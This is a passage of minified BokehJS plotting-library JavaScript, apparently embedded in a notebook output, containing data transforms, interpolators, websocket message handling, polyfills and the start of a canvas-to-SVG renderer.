n=t(391),r=t(279),o=t(181),s=t(15),a=t(44),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Dodge\\\",this.define({value:[s.Number,0],range:[s.Instance]})},t.prototype.v_compute=function(t){var e;if(this.range instanceof o.FactorRange)e=this.range.v_synthetic(t);else{if(!a.isArrayableOf(t,a.isNumber))throw new Error(\\\"unexpected\\\");e=t}for(var i=new Float64Array(e.length),n=0;n<e.length;n++){var r=e[n];i[n]=this._compute(r)}return i},t.prototype.compute=function(t){if(this.range instanceof o.FactorRange)return this._compute(this.range.synthetic(t));if(a.isNumber(t))return this._compute(t);throw new Error(\\\"unexpected\\\")},t.prototype._compute=function(t){return t+this.value},t}(r.Transform);(i.Dodge=l).initClass()},function(t,e,i){var n=t(272);i.CustomJSTransform=n.CustomJSTransform;var r=t(273);i.Dodge=r.Dodge;var o=t(275);i.Interpolator=o.Interpolator;var s=t(276);i.Jitter=s.Jitter;var a=t(277);i.LinearInterpolator=a.LinearInterpolator;var l=t(278);i.StepInterpolator=l.StepInterpolator;var h=t(279);i.Transform=h.Transform},function(t,e,i){var n=t(391),r=t(279),o=t(15),c=t(21),_=t(44),s=function(i){function t(t){var e=i.call(this,t)||this;return e._sorted_dirty=!0,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"Interpolator\\\",this.define({x:[o.Any],y:[o.Any],data:[o.Any],clip:[o.Bool,!0]})},t.prototype.connect_signals=function(){var t=this;i.prototype.connect_signals.call(this),this.connect(this.change,function(){return t._sorted_dirty=!0})},t.prototype.v_compute=function(t){for(var e=new Float64Array(t.length),i=0;i<t.length;i++){var n=t[i];e[i]=this.compute(n)}return e},t.prototype.sort=function(t){if(void 0===t&&(t=!1),this._sorted_dirty){var e,i;if(_.isString(this.x)&&_.isString(this.y)&&null!=this.data){var n=this.data.columns();if(!c.includes(n,this.x))throw new Error(\\\"The x parameter does not correspond to a valid column name defined in the data parameter\\\");if(!c.includes(n,this.y))throw new Error(\\\"The y parameter does not correspond to a valid column name defined in the data parameter\\\");e=this.data.get_column(this.x),i=this.data.get_column(this.y)}else{if(!_.isArray(this.x)||!_.isArray(this.y))throw new Error(\\\"parameters 'x' and 'y' must be both either string fields or arrays\\\");e=this.x,i=this.y}if(e.length!==i.length)throw new Error(\\\"The length for x and y do not match\\\");if(e.length<2)throw new Error(\\\"x and y must have at least two elements to support interpolation\\\");var r=[];for(var o in e)r.push({x:e[o],y:i[o]});t?r.sort(function(t,e){return t.x>e.x?-1:t.x==e.x?0:1}):r.sort(function(t,e){return t.x<e.x?-1:t.x==e.x?0:1}),this._x_sorted=[],this._y_sorted=[];for(var s=0,a=r;s<a.length;s++){var l=a[s],h=l.x,u=l.y;this._x_sorted.push(h),this._y_sorted.push(u)}this._sorted_dirty=!1}},t}(r.Transform);(i.Interpolator=s).initClass()},function(t,e,i){var n=t(391),r=t(279),o=t(181),s=t(44),a=t(15),l=t(31),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Jitter\\\",this.define({mean:[a.Number,0],width:[a.Number,1],distribution:[a.Distribution,\\\"uniform\\\"],range:[a.Instance]}),this.internal({previous_values:[a.Array]})},t.prototype.v_compute=function(t){if(null!=this.previous_values&&this.previous_values.length==t.length)return this.previous_values;var e;if(this.range instanceof o.FactorRange)e=this.range.v_synthetic(t);else{if(!s.isArrayableOf(t,s.isNumber))throw new Error(\\\"unexpected\\\");e=t}for(var i=new Float64Array(e.length),n=0;n<e.length;n++){var r=e[n];i[n]=this._compute(r)}return this.previous_values=i},t.prototype.compute=function(t){if(this.range instanceof o.FactorRange)return this._compute(this.range.synthetic(t));if(s.isNumber(t))return this._compute(t);throw new Error(\\\"unexpected\\\")},t.prototype._compute=function(t){switch(this.distribution){case\\\"uniform\\\":return t+this.mean+(l.random()-.5)*this.width;case\\\"normal\\\":return t+l.rnorm(this.mean,this.width)}},t}(r.Transform);(i.Jitter=h).initClass()},function(t,e,i){var n=t(391),s=t(21),r=t(275),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LinearInterpolator\\\"},t.prototype.compute=function(e){if(this.sort(!1),this.clip){if(e<this._x_sorted[0]||e>this._x_sorted[this._x_sorted.length-1])return NaN}else{if(e<this._x_sorted[0])return this._y_sorted[0];if(e>this._x_sorted[this._x_sorted.length-1])return this._y_sorted[this._y_sorted.length-1]}if(e==this._x_sorted[0])return this._y_sorted[0];var t=s.findLastIndex(this._x_sorted,function(t){return t<e}),i=this._x_sorted[t],n=this._x_sorted[t+1],r=this._y_sorted[t],o=this._y_sorted[t+1];return r+(e-i)/(n-i)*(o-r)},t}(r.Interpolator);(i.LinearInterpolator=o).initClass()},function(t,e,i){var n=t(391),r=t(275),o=t(15),s=t(21),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"StepInterpolator\\\",this.define({mode:[o.StepMode,\\\"after\\\"]})},t.prototype.compute=function(e){if(this.sort(!1),this.clip){if(e<this._x_sorted[0]||e>this._x_sorted[this._x_sorted.length-1])return NaN}else{if(e<this._x_sorted[0])return this._y_sorted[0];if(e>this._x_sorted[this._x_sorted.length-1])return this._y_sorted[this._y_sorted.length-1]}var t;switch(this.mode){case\\\"after\\\":t=s.findLastIndex(this._x_sorted,function(t){return t<=e});break;case\\\"before\\\":t=s.findIndex(this._x_sorted,function(t){return e<=t});break;case\\\"center\\\":var i=this._x_sorted.map(function(t){return Math.abs(t-e)}),n=s.min(i);t=s.findIndex(i,function(t){return n===t});break;default:throw new Error(\\\"unknown mode: \\\"+this.mode)}return-1!=t?this._y_sorted[t]:NaN},t}(r.Interpolator);(i.StepInterpolator=a).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Transform\\\"},t}(r.Model);(i.Transform=o).initClass()},function(t,e,i){\\\"function\\\"!=typeof WeakMap&&t(342),Number.isInteger||(Number.isInteger=function(t){return\\\"number\\\"==typeof t&&isFinite(t)&&Math.floor(t)===t});var n,l,r,h,o=String.prototype;o.repeat||(o.repeat=function(t){if(null==this)throw new TypeError(\\\"can't convert \\\"+this+\\\" to object\\\");var e=\\\"\\\"+this;if((t=+t)!=t&&(t=0),t<0)throw new RangeError(\\\"repeat count must be non-negative\\\");if(t==1/0)throw new RangeError(\\\"repeat count must be less than infinity\\\");if(t=Math.floor(t),0==e.length||0==t)return\\\"\\\";if(e.length*t>=1<<28)throw new RangeError(\\\"repeat count must not overflow maximum string size\\\");for(var i=\\\"\\\";1==(1&t)&&(i+=e),0!=(t>>>=1);)e+=e;return i}),Array.from||(Array.from=(n=Object.prototype.toString,l=function(t){return\\\"function\\\"==typeof t||\\\"[object Function]\\\"===n.call(t)},r=Math.pow(2,53)-1,h=function(t){var e,i=(e=Number(t),isNaN(e)?0:0!==e&&isFinite(e)?(0<e?1:-1)*Math.floor(Math.abs(e)):e);return Math.min(Math.max(i,0),r)},function(t){var e=Object(t);if(null==t)throw new TypeError(\\\"Array.from requires an array-like object - not null or undefined\\\");var i,n=1<arguments.length?arguments[1]:void 0;if(void 0!==n){if(!l(n))throw new TypeError(\\\"Array.from: when provided, the second argument must be a function\\\");2<arguments.length&&(i=arguments[2])}for(var r=h(e.length),o=l(this)?Object(new this(r)):new Array(r),s=0\\n\",\n       \"      // 13. If IsConstructor(C) is true, then\\n\",\n       \"      ;s<r;){var a=e[s];o[s]=n?void 0===i?n(a,s):n.call(i,a,s):a,s+=1}return o.length=r,o}))},function(t,e,i){var n=t(391);n.__exportStar(t(282),i),n.__exportStar(t(283),i)},function(t,e,i){var n=t(38),r=function(){function s(t,e,i){this.header=t,this.metadata=e,this.content=i,this.buffers=[]}return s.assemble=function(t,e,i){var n=JSON.parse(t),r=JSON.parse(e),o=JSON.parse(i);return new s(n,r,o)},s.prototype.assemble_buffer=function(t,e){var i=null!=this.header.num_buffers?this.header.num_buffers:0;if(i<=this.buffers.length)throw new Error(\\\"too many buffers received, expecting #{nb}\\\");this.buffers.push([t,e])},s.create=function(t,e,i){void 0===i&&(i={});var n=s.create_header(t);return new s(n,e,i)},s.create_header=function(t){return{msgid:n.uniqueId(),msgtype:t}},s.prototype.complete=function(){return!(null==this.header||null==this.metadata||null==this.content||\\\"num_buffers\\\"in this.header&&this.buffers.length!==this.header.num_buffers)},s.prototype.send=function(t){var e=null!=this.header.num_buffers?this.header.num_buffers:0;if(0<e)throw new Error(\\\"BokehJS only supports receiving buffers, not sending\\\");var i=JSON.stringify(this.header),n=JSON.stringify(this.metadata),r=JSON.stringify(this.content);t.send(i),t.send(n),t.send(r)},s.prototype.msgid=function(){return this.header.msgid},s.prototype.msgtype=function(){return this.header.msgtype},s.prototype.reqid=function(){return this.header.reqid},s.prototype.problem=function(){return\\\"msgid\\\"in this.header?\\\"msgtype\\\"in this.header?null:\\\"No msgtype in header\\\":\\\"No msgid in header\\\"},s}();i.Message=r},function(t,e,i){var o=t(282),n=function(){function t(){this.message=null,this._partial=null,this._fragments=[],this._buf_header=null,this._current_consumer=this._HEADER}return t.prototype.consume=function(t){this._current_consumer(t)},t.prototype._HEADER=function(t){this._assume_text(t),this.message=null,this._partial=null,this._fragments=[t],this._buf_header=null,this._current_consumer=this._METADATA},t.prototype._METADATA=function(t){this._assume_text(t),this._fragments.push(t),this._current_consumer=this._CONTENT},t.prototype._CONTENT=function(t){this._assume_text(t),this._fragments.push(t);var e=this._fragments.slice(0,3),i=e[0],n=e[1],r=e[2];this._partial=o.Message.assemble(i,n,r),this._check_complete()},t.prototype._BUFFER_HEADER=function(t){this._assume_text(t),this._buf_header=t,this._current_consumer=this._BUFFER_PAYLOAD},t.prototype._BUFFER_PAYLOAD=function(t){this._assume_binary(t),this._partial.assemble_buffer(this._buf_header,t),this._check_complete()},t.prototype._assume_text=function(t){if(t instanceof ArrayBuffer)throw new Error(\\\"Expected text fragment but received binary fragment\\\")},t.prototype._assume_binary=function(t){if(!(t instanceof ArrayBuffer))throw new Error(\\\"Expected binary fragment but received text fragment\\\")},t.prototype._check_complete=function(){this._partial.complete()?(this.message=this._partial,this._current_consumer=this._HEADER):this._current_consumer=this._BUFFER_HEADER},t}();i.Receiver=n},function(t,e,i){i.safely=function(t,e){void 0===e&&(e=!1);try{return t()}catch(t){if(function(t){var e=document.createElement(\\\"div\\\");e.style.backgroundColor=\\\"#f2dede\\\",e.style.border=\\\"1px solid #a94442\\\",e.style.borderRadius=\\\"4px\\\",e.style.display=\\\"inline-block\\\",e.style.fontFamily=\\\"sans-serif\\\",e.style.marginTop=\\\"5px\\\",e.style.minWidth=\\\"200px\\\",e.style.padding=\\\"5px 5px 5px 10px\\\",e.classList.add(\\\"bokeh-error-box-into-flames\\\");var i=document.createElement(\\\"span\\\");i.style.backgroundColor=\\\"#a94442\\\",i.style.borderRadius=\\\"0px 4px 0px 0px\\\",i.style.color=\\\"white\\\",i.style.cursor=\\\"pointer\\\",i.style.cssFloat=\\\"right\\\",i.style.fontSize=\\\"0.8em\\\",i.style.margin=\\\"-6px -6px 0px 0px\\\",i.style.padding=\\\"2px 5px 4px 5px\\\",i.title=\\\"close\\\",i.setAttribute(\\\"aria-label\\\",\\\"close\\\"),i.appendChild(document.createTextNode(\\\"x\\\")),i.addEventListener(\\\"click\\\",function(){return s.removeChild(e)});var n=document.createElement(\\\"h3\\\");n.style.color=\\\"#a94442\\\",n.style.margin=\\\"8px 0px 0px 0px\\\",n.style.padding=\\\"0px\\\",n.appendChild(document.createTextNode(\\\"Bokeh Error\\\"));var r=document.createElement(\\\"pre\\\");r.style.whiteSpace=\\\"unset\\\",r.style.overflowX=\\\"auto\\\";var o=t instanceof Error?t.message:t;r.appendChild(document.createTextNode(o)),e.appendChild(i),e.appendChild(n),e.appendChild(r);var s=document.getElementsByTagName(\\\"body\\\")[0];s.insertBefore(e,s.firstChild)}(t),e)return;throw t}}},function(t,e,n){function r(){var t=document.getElementsByTagName(\\\"body\\\")[0],e=document.getElementsByClassName(\\\"bokeh-test-div\\\");1==e.length&&t.removeChild(e[0]),delete e[0];var i=document.createElement(\\\"div\\\");i.classList.add(\\\"bokeh-test-div\\\"),i.style.display=\\\"none\\\",t.insertBefore(i,t.firstChild)}n.results={},n.init=function(){r()},n.record=function(t,e){n.results[t]=e,r()},n.count=function(t){null==n.results[t]&&(n.results[t]=0),n.results[t]+=1,r()},n.clear=function(){for(var t=0,e=Object.keys(n.results);t<e.length;t++){var i=e[t];delete n.results[i]}r()}},function(t,e,i){i.version=\\\"1.0.1\\\"},function(t,e,i){!function(){\\\"use strict\\\";var _,x,p,d,a;function f(t,e){var i,n=Object.keys(e);for(i=0;i<n.length;i++)t=t.replace(new RegExp(\\\"\\\\\\\\{\\\"+n[i]+\\\"\\\\\\\\}\\\",\\\"gi\\\"),e[n[i]]);return t}function l(t){var e,i,n;if(!t)throw new Error(\\\"cannot create a random attribute name for an undefined object\\\");e=\\\"ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz\\\",i=\\\"\\\";do{for(i=\\\"\\\",n=0;n<12;n++)i+=e[Math.floor(Math.random()*e.length)]}while(t[i]);return i}a=function(t,e){var i,n,r,o={};for(t=t.split(\\\",\\\"),e=e||10,i=0;i<t.length;i+=2)n=\\\"&\\\"+t[i+1]+\\\";\\\",r=parseInt(t[i],e),o[n]=\\\"&#\\\"+r+\\\";\\\";return o[\\\"\\\\\\\\xa0\\\"]=\\\"&#160;\\\",o}(\\\"50,nbsp,51,iexcl,52,cent,53,pound,54,curren,55,yen,56,brvbar,57,sect,58,uml,59,copy,5a,ordf,5b,laquo,5c,not,5d,shy,5e,reg,5f,macr,5g,deg,5h,plusmn,5i,sup2,5j,sup3,5k,acute,5l,micro,5m,para,5n,middot,5o,cedil,5p,sup1,5q,ordm,5r,raquo,5s,frac14,5t,frac12,5u,frac34,5v,iquest,60,Agrave,61,Aacute,62,Acirc,63,Atilde,64,Auml,65,Aring,66,AElig,67,Ccedil,68,Egrave,69,Eacute,6a,Ecirc,6b,Euml,6c,Igrave,6d,Iacute,6e,Icirc,6f,Iuml,6g,ETH,6h,Ntilde,6i,Ograve,6j,Oacute,6k,Ocirc,6l,Otilde,6m,Ouml,6n,times,6o,Oslash,6p,Ugrave,6q,Uacute,6r,Ucirc,6s,Uuml,6t,Yacute,6u,THORN,6v,szlig,70,agrave,71,aacute,72,acirc,73,atilde,74,auml,75,aring,76,aelig,77,ccedil,78,egrave,79,eacute,7a,ecirc,7b,euml,7c,igrave,7d,iacute,7e,icirc,7f,iuml,7g,eth,7h,ntilde,7i,ograve,7j,oacute,7k,ocirc,7l,otilde,7m,ouml,7n,divide,7o,oslash,7p,ugrave,7q,uacute,7r,ucirc,7s,uuml,7t,yacute,7u,thorn,7v,yuml,ci,fnof,sh,Alpha,si,Beta,sj,Gamma,sk,Delta,sl,Epsilon,sm,Zeta,sn,Eta,so,Theta,sp,Iota,sq,Kappa,sr,Lambda,ss,Mu,st,Nu,su,Xi,sv,Omicron,t0,Pi,t1,Rho,t3,Sigma,t4,Tau,t5,Upsilon,t6,Phi,t7,Chi,t8,Psi,t9,Omega,th,alpha,ti,beta,tj,gamma,tk,delta,tl,epsilon,tm,zeta,tn,eta,to,theta,tp,iota,tq,kappa,tr,lambda,ts,mu,tt,nu,tu,xi,tv,omicron,u0,pi,u1,rho,u2,sigmaf,u3,sigma,u4,tau,u5,upsilon,u6,phi,u7,chi,u8,psi,u9,omega,uh,thetasym,ui,upsih,um,piv,812,bull,816,hellip,81i,prime,81j,Prime,81u,oline,824,frasl,88o,weierp,88h,image,88s,real,892,trade,89l,alefsym,8cg,larr,8ch,uarr,8ci,rarr,8cj,darr,8ck,harr,8dl,crarr,8eg,lArr,8eh,uArr,8ei,rArr,8ej,dArr,8ek,hArr,8g0,forall,8g2,part,8g3,exist,8g5,empty,8g7,nabla,8g8,isin,8g9,notin,8gb,ni,8gf,prod,8gh,sum,8gi,minus,8gn,lowast,8gq,radic,8gt,prop,8gu,infin,8h0,ang,8h7,and,8h8,or,8h9,cap,8ha,cup,8hb,int,8hk,there4,8hs,sim,8i5,cong,8i8,asymp,8j0,ne,8j1,equiv,8j4,le,8j5,ge,8k2,sub,8k3,sup,8k4,nsub,8k6,sube,8k7,supe,8kl,oplus,8kn,otimes,8l5,perp,8m5,sdot,8o8,lceil,8o9,rceil,8oa,lfloor,8ob,rfloor,8p9,lang,8pa,rang,9ea,loz,9j0,spades,9j3,clubs,9j5,hearts,9j6,diams,ai,OElig,aj,oelig,b0,Scaron,b1,scaron,bo,Yuml,m6,circ,ms,tilde,802,ensp,803,emsp,809,thinsp,80c,zwnj,80d,zwj,80e,lrm,80f,rlm,80j,ndash,80k,mdash,80o,lsquo,80p,rsquo,80q,sbquo,80s,ldquo,80t,rdquo,80u,bdquo,810,dagger,811,Dagger,81g,permil,81p,lsaquo,81q,rsaquo,85c,euro\\\",32),_={strokeStyle:{svgAttr:\\\"stroke\\\",canvas:\\\"#000000\\\",svg:\\\"none\\\",apply:\\\"stroke\\\"},fillStyle:{svgAttr:\\\"fill\\\",canvas:\\\"#000000\\\",svg:null,apply:\\\"fill\\\"},lineCap:{svgAttr:\\\"stroke-linecap\\\",canvas:\\\"butt\\\",svg:\\\"butt\\\",apply:\\\"stroke\\\"},lineJoin:{svgAttr:\\\"stroke-linejoin\\\",canvas:\\\"miter\\\",svg:\\\"miter\\\",apply:\\\"stroke\\\"},miterLimit:{svgAttr:\\\"stroke-miterlimit\\\",canvas:10,svg:4,apply:\\\"stroke\\\"},lineWidth:{svgAttr:\\\"stroke-width\\\",canvas:1,svg:1,apply:\\\"stroke\\\"},globalAlpha:{svgAttr:\\\"opacity\\\",canvas:1,svg:1,apply:\\\"fill stroke\\\"},font:{canvas:\\\"10px sans-serif\\\"},shadowColor:{canvas:\\\"#000000\\\"},shadowOffsetX:{canvas:0},shadowOffsetY:{canvas:0},shadowBlur:{canvas:0},textAlign:{canvas:\\\"start\\\"},textBaseline:{canvas:\\\"alphabetic\\\"},lineDash:{svgAttr:\\\"stroke-dasharray\\\",canvas:[],svg:null,apply:\\\"stroke\\\"}},(p=function(t,e){this.__root=t,this.__ctx=e}).prototype.addColorStop=function(t,e){var i,n=this.__ctx.__createElement(\\\"stop\\\");n.setAttribute(\\\"offset\\\",t),-1!==e.indexOf(\\\"rgba\\\")?(i=/rgba\\\\(\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d?\\\\.?\\\\d*)\\\\s*\\\\)/gi.exec(e),n.setAttribute(\\\"stop-color\\\",f(\\\"rgb({r},{g},{b})\\\",{r:i[1],g:i[2],b:i[3]})),n.setAttribute(\\\"stop-opacity\\\",i[4])):n.setAttribute(\\\"stop-color\\\",e),this.__root.appendChild(n)},d=function(t,e){this.__root=t,this.__ctx=e},(x=function(t){var e,i={width:500,height:500,enableMirroring:!1};if(1<arguments.length?((e=i).width=t,e.height=arguments[1]):e=t||i,!(this instanceof x))return new x(e);this.width=e.width||i.width,this.height=e.height||i.height,this.enableMirroring=void 0!==e.enableMirroring?e.enableMirroring:i.enableMirroring,(this.canvas=this).__document=e.document||document,e.ctx?this.__ctx=e.ctx:(this.__canvas=this.__document.createElement(\\\"canvas\\\"),this.__ctx=this.__canvas.getContext(\\\"2d\\\")),this.__setDefaultStyles(),this.__stack=[this.__getStyleState()],this.__groupStack=[],this.__root=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"svg\\\"),this.__root.setAttribute(\\\"version\\\",1.1),this.__root.setAttribute(\\\"xmlns\\\",\\\"http://www.w3.org/2000/svg\\\"),this.__root.setAttributeNS(\\\"http://www.w3.org/2000/xmlns/\\\",\\\"xmlns:xlink\\\",\\\"http://www.w3.org/1999/xlink\\\"),this.__root.setAttribute(\\\"width\\\",this.width),this.__root.setAttribute(\\\"height\\\",this.height),this.__ids={},this.__defs=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"defs\\\"),this.__root.appendChild(this.__defs),this.__currentElement=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",\\\"g\\\"),this.__root.appendChild(this.__currentElement)}).prototype.__createElement=function(t,e,i){void 0===e&&(e={});var n,r,o=this.__document.createElementNS(\\\"http://www.w3.org/2000/svg\\\",t),s=Object.keys(e);for(i&&(o.setAttribute(\\\"fill\\\",\\\"none\\\"),o.setAttribute(\\\"stroke\\\",\\\"none\\\")),n=0;n<s.length;n++)r=s[n],o.setAttribute(r,e[r]);return o},x.prototype.__setDefaultStyles=function(){var t,e,i=Object.keys(_);for(t=0;t<i.length;t++)this[e=i[t]]=_[e].canvas},x.prototype.__applyStyleState=function(t){var e,i,n=Object.keys(t);for(e=0;e<n.length;e++)this[i=n[e]]=t[i]},x.prototype.__getStyleState=function(){var t,e,i={},n=Object.keys(_);for(t=0;t<n.length;t++)e=n[t],i[e]=this[e];return i},x.prototype.__applyStyleToCurrentElement=function(e){var t=this.__currentElement,i=this.__currentElementsToStyle;i&&(t.setAttribute(e,\\\"\\\"),t=i.element,i.children.forEach(function(t){t.setAttribute(e,\\\"\\\")}));var n,r,o,s,a,l=Object.keys(_);for(n=0;n<l.length;n++)if(r=_[l[n]],o=this[l[n]],r.apply)if(o instanceof d){if(o.__ctx)for(;o.__ctx.__defs.childNodes.length;)s=o.__ctx.__defs.childNodes[0].getAttribute(\\\"id\\\"),this.__ids[s]=s,this.__defs.appendChild(o.__ctx.__defs.childNodes[0]);t.setAttribute(r.apply,f(\\\"url(#{id})\\\",{id:o.__root.getAttribute(\\\"id\\\")}))}else if(o instanceof p)t.setAttribute(r.apply,f(\\\"url(#{id})\\\",{id:o.__root.getAttribute(\\\"id\\\")}));else if(-1!==r.apply.indexOf(e)&&r.svg!==o)if(\\\"stroke\\\"!==r.svgAttr&&\\\"fill\\\"!==r.svgAttr||-1===o.indexOf(\\\"rgba\\\")){var h=r.svgAttr;if(\\\"globalAlpha\\\"===l[n]&&(h=e+\\\"-\\\"+r.svgAttr,t.getAttribute(h)))continue;t.setAttribute(h,o)}else{a=/rgba\\\\(\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d+)\\\\s*,\\\\s*(\\\\d?\\\\.?\\\\d*)\\\\s*\\\\)/gi.exec(o),t.setAttribute(r.svgAttr,f(\\\"rgb({r},{g},{b})\\\",{r:a[1],g:a[2],b:a[3]}));var u=a[4],c=this.globalAlpha;null!=c&&(u*=c),t.setAttribute(r.svgAttr+\\\"-opacity\\\",u)}},x.prototype.__closestGroupOrSvg=function(t){return\\\"g\\\"===(t=t||this.__currentElement).nodeName||\\\"svg\\\"===t.nodeName?t:this.__closestGroupOrSvg(t.parentNode)},x.prototype.getSerializedSvg=function(t){var e,i,n,r,o,s=(new XMLSerializer).serializeToString(this.__root);if(/xmlns=\\\"http:\\\\/\\\\/www\\\\.w3\\\\.org\\\\/2000\\\\/svg\\\".+xmlns=\\\"http:\\\\/\\\\/www\\\\.w3\\\\.org\\\\/2000\\\\/svg/gi.test(s)&&(s=s.replace('xmlns=\\\"http://www.w3.org/2000/svg','xmlns:xlink=\\\"http://www.w3.org/1999/xlink')),t)for(e=Object.keys(a),i=0;i<e.length;i++)n=e[i],r=a[n],(o=new RegExp(n,\\\"gi\\\")).test(s)&&(s=s.replace(o,r));return s},x.prototype.getSvg=function(){return this.__root},x.prototype.save=function(){var t=this.__createElement(\\\"g\\\"),e=this.__closestGroupOrSvg();this.__groupStack.push(e),e.appendChild(t),this.__currentElement=t,this.__stack.push(this.__getStyleState())},x.prototype.restore=function(){this.__currentElement=this.__groupStack.pop(),this.__currentElementsToStyle=null,this.__currentElement||(this.__currentElement=this.__root.childNodes[1]);var t=this.__stack.pop();this.__applyStyleState(t)},x.prototype.__addTransform=function(t){var e=this.__closestGroupOrSvg();if(0<e.childNodes.length){\\\"path\\\"===this.__currentElement.nodeName&&(this.__currentElementsToStyle||(this.__currentElementsToStyle={element:e,children:[]}),this.__currentElementsToStyle.children.push(this.__currentElement),this.__applyCurrentDefaultPath());var i=this.__createElement(\\\"g\\\");e.appendChild(i),this.__currentElement=i}var n=this.__currentElement.getAttribute(\\\"transform\\\");n?n+=\\\" \\\":n=\\\"\\\",n+=t,this.__currentElement.setAttribute(\\\"transform\\\",n)},x.prototype.scale=function(t,e){void 0===e&&(e=t),this.__addTransform(f(\\\"scale({x},{y})\\\",{x:t,y:e}))},x.prototype.rotate=function(t){var e=180*t/Math.PI;this.__addTransform(f(\\\"rotate({angle},{cx},{cy})\\\",{angle:e,cx:0,cy:0}))},x.prototype.translate=function(t,e){this.__addTransform(f(\\\"translate({x},{y})\\\",{x:t,y:e}))},x.prototype.transform=function(t,e,i,n,r,o){this.__addTransform(f(\\\"matrix({a},{b},{c},{d},{e},{f})\\\",{a:t,b:e,c:i,d:n,e:r,f:o}))},x.prototype.beginPath=function(){var t;this.__currentDefaultPath=\\\"\\\",this.__currentPosition={},t=this.__createElement(\\\"path\\\",{},!0),this.__closestGroupOrSvg().appendChild(t),this.__currentElement=t},x.prototype.__applyCurrentDefaultPath=function(){var t=this.__currentElement;\\\"path\\\"===t.nodeName?t.setAttribute(\\\"d\\\",this.__currentDefaultPath):console.error(\\\"Attempted to apply path command to node\\\",t.nodeName)},x.prototype.__addPathCommand=function(t){this.__currentDefaultPath+=\\\" \\\",this.__currentDefaultPath+=t},x.prototype.moveTo=function(t,e){\\\"path\\\"!==this.__currentElement.nodeName&&this.beginPath(),this.__currentPosition={x:t,y:e},this.__addPathCommand(f(\\\"M {x} {y}\\\",{x:t,y:e}))},x.prototype.closePath=function(){this.__currentDefaultPath&&this.__addPathCommand(\\\"Z\\\")},x.prototype.lineTo=function(t,e){this.__currentPosition={x:t,y:e},-1<this.__currentDefaultPath.indexOf(\\\"M\\\")?this.__addPathCommand(f(\\\"L {x} {y}\\\",{x:t,y:e})):this.__addPathCommand(f(\\\"M {x} {y}\\\",{x:t,y:e}))},x.prototype.bezierCurveTo=function(t,e,i,n,r,o){this.__currentPosition={x:r,y:o},this.__addPathCommand(f(\\\"C {cp1x} {cp1y} {cp2x} {cp2y} {x} {y}\\\",{cp1x:t,cp1y:e,cp2x:i,cp2y:n,x:r,y:o}))},x.prototype.quadraticCurveTo=function(t,e,i,n){this.__currentPosition={x:i,y:n},this.__addPathCommand(f(\\\"Q {cpx} {cpy} {x} {y}\\\",{cpx:t,cpy:e,x:i,y:n}))};var b=function(t){var e=Math.sqrt(t[0]*t[0]+t[1]*t[1]);return[t[0]/e,t[1]/e]};x.prototype.arcTo=function(t,e,i,n,r){var o=this.__currentPosition&&this.__currentPosition.x,s=this.__currentPosition&&this.__currentPosition.y;if(void 0!==o&&void 0!==s){if(r<0)throw new Error(\\\"IndexSizeError: The radius provided (\\\"+r+\\\") is negative.\\\");if(o===t&&s===e||t===i&&e===n||0===r)this.lineTo(t,e);else{var a=b([o-t,s-e]),l=b([i-t,n-e]);if(a[0]*l[1]!=a[1]*l[0]){var h=a[0]*l[0]+a[1]*l[1],u=Math.acos(Math.abs(h)),c=b([a[0]+l[0],a[1]+l[1]]),_=r/Math.sin(u/2),p=t+_*c[0],d=e+_*c[1],f=[-a[1],a[0]],v=[l[1],-l[0]],m=function(t){var e=t[0],i=t[1];return 0<=i?Math.acos(e):-Math.acos(e)},g=m(f),y=m(v);this.lineTo(p+f[0]*r,d+f[1]*r),this.arc(p,d,r,g,y)}else this.lineTo(t,e)}}},x.prototype.stroke=function(){\\\"path\\\"===this.__currentElement.nodeName&&this.__currentElement.setAttribute(\\\"paint-order\\\",\\\"fill stroke markers\\\"),this.__applyCurrentDefaultPath(),this.__applyStyleToCurrentElement(\\\"stroke\\\")},x.prototype.fill=function(){\\\"path\\\"===this.__currentElement.nodeName&&this.__currentElement.setAttribute(\\\"paint-order\\\",\\\"stroke fill markers\\\"),this.__applyCurrentDefaultPath(),this.__applyStyleToCurrentElement(\\\"fill\\\")},x.prototype.rect=function(t,e,i,n){\\\"path\\\"!==this.__currentElement.nodeName&&this.beginPath(),this.moveTo(t,e),this.lineTo(t+i,e),this.lineTo(t+i,e+n),this.lineTo(t,e+n),this.lineTo(t,e),this.closePath()},x.prototype.fillRect=function(t,e,i,n){var r;r=this.__createElement(\\\"rect\\\",{x:t,y:e,width:i,height:n},!0),this.__closestGroupOrSvg().appendChild(r),this.__currentElement=r,this.__applyStyleToCurrentElement(\\\"fill\\\")},x.prototype.strokeRect=function(t,e,i,n){var r;r=this.__createElement(\\\"rect\\\",{x:t,y:e,width:i,height:n},!0),this.__closestGroupOrSvg().appendChild(r),this.__currentElement=r,this.__applyStyleToCurrentElement(\\\"stroke\\\")},x.prototype.__clearCanvas=function(){for(var t=this.__closestGroupOrSvg(),e=t.getAttribute(\\\"transform\\\"),i=this.__root.childNodes[1],n=i.childNodes,r=n.length-1;0<=r;r--)n[r]&&i.removeChild(n[r]);this.__currentElement=i,this.__groupStack=[],e&&this.__addTransform(e)},x.prototype.clearRect=function(t,e,i,n){if(0!==t||0!==e||i!==this.width||n!==this.height){var r,o=this.__closestGroupOrSvg();r=this.__createElement(\\\"rect\\\",{x:t,y:e,width:i,height:n,fill:\\\"#FFFFFF\\\"},!0),o.appendChild(r)}else this.__clearCanvas()},x.prototype.createLinearGradient=function(t,e,i,n){var 